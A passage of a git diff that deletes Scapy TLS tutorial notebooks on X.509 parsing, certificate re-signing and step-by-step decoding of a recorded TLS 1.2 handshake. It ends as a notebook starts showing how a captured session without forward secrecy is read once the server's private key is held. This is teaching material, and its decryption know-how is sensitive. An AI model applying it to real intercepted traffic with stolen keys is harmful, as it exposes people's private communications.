J7UT+l/oRHTQ9uuP6GMntOkasxbx68\n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\nAAAASUVORK5CYII=\n",
- "text": [
- "<matplotlib.figure.Figure at 0x7f126c0fd290>"
- ]
- },
- {
- "metadata": {},
- "output_type": "pyout",
- "prompt_number": 7,
- "text": [
- "[[<matplotlib.lines.Line2D at 0x7f126c3d8f10>],\n",
- " [<matplotlib.lines.Line2D at 0x7f126c3d8f90>]]"
- ]
- }
- ],
- "prompt_number": 7
- }
- ],
- "metadata": {}
- }
- ]
-} \ No newline at end of file
diff --git a/doc/notebooks/tls/images/handshake_tls12.png b/doc/notebooks/tls/images/handshake_tls12.png
deleted file mode 100644
index ecfe61a1..00000000
--- a/doc/notebooks/tls/images/handshake_tls12.png
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/images/handshake_tls13.png b/doc/notebooks/tls/images/handshake_tls13.png
deleted file mode 100644
index 1feed39f..00000000
--- a/doc/notebooks/tls/images/handshake_tls13.png
+++ /dev/null
Binary files differ
diff --git a/doc/notebooks/tls/notebook1_x509.ipynb b/doc/notebooks/tls/notebook1_x509.ipynb
deleted file mode 100644
index 7c89dc08..00000000
--- a/doc/notebooks/tls/notebook1_x509.ipynb
+++ /dev/null
@@ -1,311 +0,0 @@
-{
- "cells": [
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# Notebook 1: X.509 certificates"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Jupyter notebook cheat sheet"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# Use Shift+Enter to run the current cell\n",
- "print 'Hello!'"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# You may also use Alt+Enter to run the current cell, then create a new cell right below\n",
- "from datetime import datetime\n",
- "print 'This is the time right now: %s' % datetime.now()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# If needed, pause the cell edition with Ctrl-M.\n",
- "# Then you can delete the current cell with D+D. You can also undo cell deletion with Z.\n",
- "# Finally, should Jupyter become stuck in execution, use Kernel/Interrupt from the menu bar.\n",
- "print 'Got it!'"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Data manipulation with Scapy"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": true
- },
- "outputs": [],
- "source": [
- "from scapy.all import *\n",
- "load_layer('tls')"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "keystr = open('raw_data/pki/ca_key.der', 'rb').read()\n",
- "print repr(keystr)\n",
- "# (btw, you can hide the output of a cell by double-clicking on the left of the output)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "privkey = RSAPrivateKey(keystr)\n",
- "privkey.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "v = privkey.version\n",
- "print 'The \\'version\\' stripped from any ASN.1 encoding is 0x%02x.' % v.val\n",
- "print 'The \\'version\\' field corresponds to bytes %r.' % raw(v)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "privkey.version = ASN1_INTEGER(1)\n",
- "privkey.modulus.val *= 2\n",
- "privkey.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "print 'Original data: %r...' % keystr[:13]\n",
- "print 'New version bytes: %r' % raw(privkey.version)\n",
- "print 'New modulus bytes: %r...' % raw(privkey.modulus)[:6]\n",
- "print 'Rebuilt data: %r...' % raw(privkey)[:13]"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {
- "collapsed": true
- },
- "source": [
- "## X.509 certificate features"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# Let's reload the original key, then let's load a certificate associated with it\n",
- "privkey = RSAPrivateKey(keystr)\n",
- "cert = X509_Cert(open('raw_data/pki/ca_cert.der', 'rb').read())\n",
- "cert.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.show()\n",
- "cert.tbsCertificate.subject[-1].rdn[0].show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false,
- "scrolled": true
- },
- "outputs": [],
- "source": [
- "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.modulus == privkey.modulus"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "cert.tbsCertificate.extensions[2].show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "cert.signatureAlgorithm.algorithm"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Scapy crypto tools"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": true
- },
- "outputs": [],
- "source": [
- "# Let's reload the key with Scapy's crypto-enhanced wrapper\n",
- "privkey = PrivKey('raw_data/pki/ca_key.der')"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "privkey.der == keystr"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "print privkey.key\n",
- "print privkey.pubkey"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# We can compute the RSA signature over the part of the certificate which is to be signed\n",
- "privkey.sign(raw(cert.tbsCertificate))"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "cert.signatureValue"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# We can quickly modify a certificate field and update the signature accordingly\n",
- "cert.tbsCertificate.serialNumber.val = 0xdeadcafe\n",
- "cert.tbsCertificate.subject[-1].rdn[0].value.val = 'my new deadcafe CA' \n",
- "cert2 = privkey.resignCert(cert)\n",
- "cert2.show()"
- ]
- }
- ],
- "metadata": {
- "kernelspec": {
- "display_name": "Python 2",
- "language": "python",
- "name": "python2"
- },
- "language_info": {
- "codemirror_mode": {
- "name": "ipython",
- "version": 2
- },
- "file_extension": ".py",
- "mimetype": "text/x-python",
- "name": "python",
- "nbconvert_exporter": "python",
- "pygments_lexer": "ipython2",
- "version": "2.7.13"
- }
- },
- "nbformat": 4,
- "nbformat_minor": 2
-}
diff --git a/doc/notebooks/tls/notebook2_tls_protected.ipynb b/doc/notebooks/tls/notebook2_tls_protected.ipynb
deleted file mode 100644
index 726581e8..00000000
--- a/doc/notebooks/tls/notebook2_tls_protected.ipynb
+++ /dev/null
@@ -1,263 +0,0 @@
-{
- "cells": [
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# TLS handshake overview\n",
- "This is the standard, modern TLS 1.2 handshake:\n",
- "\n",
- "<img src=\"images/handshake_tls12.png\" alt=\"Handshake TLS 1.2\" width=\"400\"/>"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": true
- },
- "outputs": [],
- "source": [
- "# We're going to parse several successive records from the passive listening of a standard TLS handshake\n",
- "from scapy.all import *"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## (C) ---> (S) ClientHello"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record1 = TLS(open('raw_data/tls_session_protected/01_cli.raw').read())\n",
- "record1.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "for extension in record1.msg[0].ext:\n",
- " print ''\n",
- " extension.show()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## (C) <--- (S) ServerHello"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record2 = TLS(open('raw_data/tls_session_protected/02_srv.raw').read())\n",
- "record2.show()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## (C) <--- (S) Certificate"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record3 = TLS(open('raw_data/tls_session_protected/03_srv.raw').read())\n",
- "record3.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# The Certificate message actually contains a *chain* of certificates\n",
- "for cert in record3.msg[0].certs:\n",
- " print type(cert[1])\n",
- " cert[1].show()\n",
- " print ''"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# Let's recall the domain that the client wants to access\n",
- "record1.msg[0].ext[0].show()\n",
- "\n",
- "# Indeed the certificate may be used with other domains than its CN 'www.github.com'\n",
- "x509c = record3.msg[0].certs[0][1].x509Cert\n",
- "print type(x509c)\n",
- "x509c.tbsCertificate.extensions[2].show()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## (C) <--- (S) CertificateStatus, ServerKeyExchange, ServerHelloDone"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# Here the server sent three TLS records in the same TCP segment\n",
- "record4 = TLS(open('raw_data/tls_session_protected/04_srv.raw').read())\n",
- "record4.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# Let's verify the signature in the ServerKeyExchange\n",
- "# First, we need to assemble the whole data being signed\n",
- "cli_random = pkcs_i2osp(record1.msg[0].gmt_unix_time, 4) + record1.msg[0].random_bytes\n",
- "srv_random = pkcs_i2osp(record2.msg[0].gmt_unix_time, 4) + record2.msg[0].random_bytes\n",
- "ecdh_params = str(record4[TLSServerKeyExchange].params)\n",
- "\n",
- "# Then we retrieve the server's Cert and verify the signature\n",
- "cert_srv = record3.msg[0].certs[0][1]\n",
- "cert_srv.verify(cli_random + srv_random + ecdh_params, record4[TLSServerKeyExchange].sig.sig_val, h='sha512')"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {
- "collapsed": true
- },
- "source": [
- "## (C) ---> (S) ClientKeyExchange, ChangeCipherSpec, Finished"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record5_str = open('raw_data/tls_session_protected/05_cli.raw').read()\n",
- "record5 = TLS(record5_str)\n",
- "record5.show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "# Every record has a 'tls_session' context which may enhance the parsing of later records\n",
- "record5 = TLS(record5_str, tls_session=record2.tls_session.mirror())\n",
- "record5.show()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## (C) <--- (S) NewSessionTicket, ChangeCipherSpec, Finished"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record6_str = open('raw_data/tls_session_protected/06_srv.raw').read()\n",
- "record6 = TLS(record6_str, tls_session=record5.tls_session.mirror())\n",
- "record6.show()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## (C) ---> (S) ApplicationData"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record7_str = open('raw_data/tls_session_protected/07_cli.raw').read()\n",
- "record7 = TLS(record7_str, tls_session=record6.tls_session.mirror())\n",
- "record7.show()"
- ]
- }
- ],
- "metadata": {
- "kernelspec": {
- "display_name": "Python 2",
- "language": "python",
- "name": "python2"
- },
- "language_info": {
- "codemirror_mode": {
- "name": "ipython",
- "version": 2
- },
- "file_extension": ".py",
- "mimetype": "text/x-python",
- "name": "python",
- "nbconvert_exporter": "python",
- "pygments_lexer": "ipython2",
- "version": "2.7.13"
- }
- },
- "nbformat": 4,
- "nbformat_minor": 2
-}
diff --git a/doc/notebooks/tls/notebook3_tls_compromised.ipynb b/doc/notebooks/tls/notebook3_tls_compromised.ipynb
deleted file mode 100644
index 4a879a3c..00000000
--- a/doc/notebooks/tls/notebook3_tls_compromised.ipynb
+++ /dev/null
@@ -1,123 +0,0 @@
-{
- "cells": [
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# The lack of PFS: a danger to privacy"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": true
- },
- "outputs": [],
- "source": [
- "from scapy.all import *"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
- "record1_str = open('raw_data/tls_session_compromised/01_cli.raw').read()\n",
- "record1 = TLS(record1_str)\n",
- "record1.msg[0].show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false,
- "scrolled": true
- },
- "outputs": [],
- "source": [
- "record2_str = open('raw_data/tls_session_compromised/02_srv.raw').read()\n",
- "record2 = TLS(record2_str, tls_session=record1.tls_session.mirror())\n",
- "record2.msg[0].show()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": true
- },
- "outputs": [],
- "source": [
- "# Suppose we possess the private key of the server\n",
- "# Try registering it to the session\n",
- "#key = PrivKey('raw_data/pki/srv_key.pem')\n",
- "#record2.tls_session.server_rsa_key = key"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {
- "collapsed": false
- },
- "outputs": [],
- "source": [
